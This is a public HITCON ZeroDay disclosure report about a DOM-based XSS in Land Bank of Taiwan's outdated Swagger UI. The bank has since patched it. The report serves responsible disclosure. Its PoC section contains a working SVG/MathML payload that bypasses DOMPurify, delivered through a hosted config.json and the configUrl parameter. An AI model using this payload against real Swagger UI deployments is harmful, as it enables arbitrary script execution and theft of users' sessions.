臺灣土地銀行 Unvalidated Swagger Parameter Leads to XSS - HITCON ZeroDay

Vulnerability Detail Report

Vulnerability Overview

  • ZDID: ZD-2025-00524
  •  發信 Vendor: 臺灣土地銀行
  • Title: 臺灣土地銀行 Unvalidated Swagger Parameter Leads to XSS
  • Introduction: Swagger UI 在舊版中未對可渲染 HTML 的欄位(如 description)進行嚴格過濾,攻擊者可藉此注入任意 HTML。

處理狀態

目前狀態

公開
Last Update : 2025/08/05
  • 新提交
  • 已審核
  • 已通報
  • 已修補
  • 未複測
  • 公開

處理歷程

  • 2025/06/05 04:45:28 : 新提交 (由 CheN.. 更新此狀態)
  • 2025/06/08 17:05:31 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2025/06/12 16:19:18 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2025/06/12 16:19:18 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2025/06/12 16:19:18 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2025/07/10 13:51:13 : 已修補 (由 組織帳號 更新此狀態)
  • 2025/07/10 13:57:50 : 修補中 (由 組織帳號 更新此狀態)
  • 2025/08/04 10:56:31 : 已修補 (由 組織帳號 更新此狀態)
  • 2025/08/05 03:00:12 : 公開 (由 HITCON ZeroDay 平台自動更新)

詳細資料

  • ZDID:ZD-2025-00524
  • 通報者:SamChen_696 (CheN..)
  • 風險:中
  • 類型:基於 DOM 的 XSS (DOM-based Cross-Site Scripting)

參考資料

攻擊者可經由該漏洞竊取使用者身份,或進行掛碼、轉址等攻擊行為。

漏洞說明: OWASP - Cross-site Scripting (XSS)
https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)

防護原則:
https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet

XSS 防禦繞過方式:
https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)

相關網址

https://al.landbank.com.tw/opendata/swagger-ui.html?configUrl=https://gist.githubusercontent.com/Samer666569/0a1769e5ece521ba4b86b780d85aace0/raw/89ddcacc943f50653d8faf3257d74b05c545978f/config.json

敘述

我最近在探索台灣各網站的 Swagger UI ,發現許多存在版本過舊問題,導致 XSS 和 HTML injection (應該會同步通報到單位)

概述(成因):

由於網站仍使用舊版 Swagger UI(版本低於 3.38.0),這些版本內建的 DOMPurify 存在已知 MathML 及 SVG 變異型 XSS 繞過。攻擊者只要在被託管的 config JSON 裡,針對 OpenAPI 文件的 description 欄位,插入特定 SVG/MathML payload,就可繞過 DOMPurify 造成 XSS 。舊版未對 description、summary 等可輸出 HTML 的欄位進行嚴格過濾,導致惡意腳本以 innerHTML 形式執行於使用者瀏覽器。

PoC:

圖片
完整 config.json

{
  "spec": {
    "openapi": "3.0.0",
    "info": {
      "title": "XSS PoC",
      "version": "1.0",
      "description": "<math><mtext><option><FAKEFAKE><option></option><mglyph><svg><mtext><textarea><a title=\"</textarea><img src='#' onerror='alert(document.domain)'>\">"
    },
    "paths": {}
  }
}

漏洞網址
https://al.landbank.com.tw/opendata/swagger-ui.html?configUrl=https://gist.githubusercontent.com/Samer666569/0a1769e5ece521ba4b86b780d85aace0/raw/89ddcacc943f50653d8faf3257d74b05c545978f/config.json

影響:

攻擊者可在受害者瀏覽器執行任意 JavaScript(跟一般XSS影響相同)

備註:風險參考我先前報告給某單位的評估
圖片

補充資料

可以參考 HackerOne 上的相似案例
HackerOne Report #1736378
HackerOne Report #2321874

修補建議

將所有 Swagger UI 升至 4.1.3 以上版本,新版 DOMPurify 已修復相關 XSS 問題,並採用更嚴謹的 sanitize 機制。

擷圖

留言討論

聯絡組織

 發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。
;